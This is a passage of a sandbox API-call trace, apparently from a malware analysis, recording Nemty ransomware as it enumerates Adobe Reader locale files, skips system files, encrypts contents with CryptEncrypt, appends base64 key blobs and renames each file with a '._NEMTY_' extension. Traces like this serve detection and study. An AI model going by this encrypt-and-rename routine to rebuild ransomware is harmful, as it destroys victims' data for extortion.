lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0182.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.976] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.RUS", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MakeAccessible.RUS", lpUsedDefaultChar=0x0) returned 18 [0182.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0182.976] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.RUS", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0182.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.976] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.RUS", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MakeAccessible.RUS", lpUsedDefaultChar=0x0) returned 18 [0182.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0182.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0182.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0182.976] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.RUS", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0182.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.976] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.RUS", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MakeAccessible.RUS", lpUsedDefaultChar=0x0) returned 18 [0182.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0182.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0182.976] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.RUS", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0182.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.976] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.RUS", cchWideChar=18, lpMultiByteStr=0x4f9ed08, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MakeAccessible.RUS", lpUsedDefaultChar=0x0) returned 18 [0182.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0182.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0182.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0182.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0182.976] Sleep (dwMilliseconds=0x5) [0182.986] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20b70570, dwHighDateTime=0x1d561e8)) [0182.986] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20b70570, dwHighDateTime=0x1d561e8)) [0182.986] GetLastError () returned 0x0 [0182.986] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.986] GetLastError () returned 0x0 [0182.986] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.986] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.986] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0182.986] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.986] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.986] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.986] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0182.986] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="yJfxhagfHcBdrw+mWc4hoRUalJfDH3d3vZpvXYw4RQkKUCAnHLwdcOODk/UhdHTf\r\nIt59pC+0aIoFExeaVxBc0InoeN4hJlUjApjcFBoDWKUNipQgwH4ZLX35J9WacrtY\r\nL8fBsVww3azpj3hYqY3NOLvHt2yjkugrdF5Y1/goXF72l4DUMtQr29Ht9fbh0y97\r\nsuS7Vi5LPweP7qducKjpJ0PtTz56OQtTWTpRa1sk7N4yVx8g3/0yrIy0hu+VSw2v\r\nutCixkbFZSfv5TpZbJeHFlW76/E1jHZaV+atC31XKtksmfBQzm3T2kFHpykJZWRe\r\nkXa5b66/0/fPABJkdFfsOw==\r\n", pcchString=0x653e5dc) returned 1 [0182.986] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.986] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.986] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0182.986] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.987] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0182.987] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.987] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\MakeAccessible.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\makeaccessible.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.987] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=75776) returned 1 [0182.987] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x12800) returned 0x6352c48 [0182.987] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.987] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x12800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x12800, lpOverlapped=0x0) returned 1 [0182.993] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.993] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x12800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x12800, lpOverlapped=0x0) returned 1 [0182.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.994] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=75776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12800 [0182.994] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.994] CloseHandle (hObject=0x2e8) returned 1 [0182.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0182.994] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0182.994] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0182.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0182.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340308 [0182.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403c0 [0182.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0182.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0182.994] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\MakeAccessible.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\makeaccessible.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\MakeAccessible.RUS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\makeaccessible.rus._nemty_kgobjgd_")) returned 1 [0182.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c0 | out: hHeap=0x4f90000) returned 1 [0182.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0182.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.995] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7bb9a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Multimedia.RUS", cAlternateFileName="MULTIM~1.RUS")) returned 1 [0182.995] lstrcmpiW (lpString1="Multimedia.RUS", lpString2=".") returned 1 [0182.995] lstrcmpiW (lpString1="Multimedia.RUS", lpString2="..") returned 1 [0182.995] lstrcmpiW (lpString1="Multimedia.RUS", lpString2="...") returned 1 [0182.995] lstrcmpiW (lpString1="Multimedia.RUS", lpString2="windows") returned -1 [0182.995] lstrcmpiW (lpString1="Multimedia.RUS", lpString2="$RECYCLE.BIN") returned 1 [0182.995] lstrcmpiW (lpString1="Multimedia.RUS", lpString2="rsa") returned -1 [0182.995] lstrcmpiW (lpString1="Multimedia.RUS", lpString2="NTDETECT.COM") returned -1 [0182.995] lstrcmpiW (lpString1="Multimedia.RUS", lpString2="ntldr") returned -1 [0182.995] lstrcmpiW (lpString1="Multimedia.RUS", lpString2="MSDOS.SYS") returned 1 [0182.995] lstrcmpiW (lpString1="Multimedia.RUS", lpString2="IO.SYS") returned 1 [0182.995] lstrcmpiW (lpString1="Multimedia.RUS", lpString2="boot.ini") returned 1 [0182.995] lstrcmpiW (lpString1="Multimedia.RUS", lpString2="boot.ini") returned 1 [0182.995] lstrcmpiW (lpString1="Multimedia.RUS", lpString2="AUTOEXEC.BAT") returned 1 [0182.995] lstrcmpiW (lpString1="Multimedia.RUS", lpString2="ntuser.dat") returned -1 [0182.995] lstrcmpiW (lpString1="Multimedia.RUS", lpString2="desktop.ini") returned 1 [0182.995] lstrcmpiW (lpString1="Multimedia.RUS", lpString2="CONFIG.SYS") returned 1 [0182.996] lstrcmpiW (lpString1="Multimedia.RUS", lpString2="RECYCLER") returned -1 [0182.996] lstrcmpiW (lpString1="Multimedia.RUS", lpString2="BOOTSECT.BAK") returned 1 [0182.996] lstrcmpiW (lpString1="Multimedia.RUS", lpString2="bootmgr") returned 1 [0182.996] lstrcmpiW (lpString1="Multimedia.RUS", lpString2="programdata") returned -1 [0182.996] lstrcmpiW (lpString1="Multimedia.RUS", lpString2="appdata") returned 1 [0182.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.996] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.RUS", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0182.996] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.RUS", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.RUS", lpUsedDefaultChar=0x0) returned 14 [0182.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.996] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.RUS", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0182.996] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.RUS", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.RUS", lpUsedDefaultChar=0x0) returned 14 [0182.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.996] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.RUS", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0182.996] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.RUS", cchWideChar=14, lpMultiByteStr=0x653e8e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.RUS", lpUsedDefaultChar=0x0) returned 14 [0182.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.996] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.RUS", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0182.996] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.RUS", cchWideChar=14, lpMultiByteStr=0x653e918, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.RUS", lpUsedDefaultChar=0x0) returned 14 [0182.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0182.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0182.996] Sleep (dwMilliseconds=0x5) [0183.001] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20b966d0, dwHighDateTime=0x1d561e8)) [0183.001] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20b966d0, dwHighDateTime=0x1d561e8)) [0183.001] GetLastError () returned 0x0 [0183.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.001] GetLastError () returned 0x0 [0183.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.002] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.002] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.002] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0183.002] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="iwfOWShMXNGG47FXZ+irpoj5kvaCewL/QREFvgFhW6VE5h7PIYrspU2pMX4bOS+s\r\nNPP+0T/Kb2lEZpSOZme2ppKdv1Vl1ZISxzwRZyYuQDEh1eM64oQjdEawwp3pJjBA\r\nDKZgMDHu2CY1kkYBGX2ew4EvKDejo3CbWG9QWJRQFmuU67j4vUAFeCvyp7whqsOs\r\n7AYZOQZ5CcG943vdEtpmnP4Z8he2EF7id9qnG08G1FzHfA984GGWa0l5waV7sfAj\r\nsVno7x6O/3OWJprlSiMmTxAeXxQL6uWwV8a/qtLTXGEJ/elPNUbvjEfFW+vOjMu1\r\nAmGo14pVcO8+lAIKdeaDdg==\r\n", pcchString=0x653e5dc) returned 1 [0183.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0183.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.002] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Multimedia.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\multimedia.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.003] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=80896) returned 1 [0183.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x13c00) returned 0x6352c48 [0183.003] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.003] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x13c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x13c00, lpOverlapped=0x0) returned 1 [0183.010] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.010] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x13c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x13c00, lpOverlapped=0x0) returned 1 [0183.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.010] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=80896, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13c00 [0183.010] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.010] CloseHandle (hObject=0x2e8) returned 1 [0183.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0183.010] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.010] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0183.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0183.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0183.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.010] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Multimedia.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\multimedia.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Multimedia.RUS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\multimedia.rus._nemty_kgobjgd_")) returned 1 [0183.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0183.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0183.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.011] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PDDom.RUS", cAlternateFileName="")) returned 1 [0183.011] 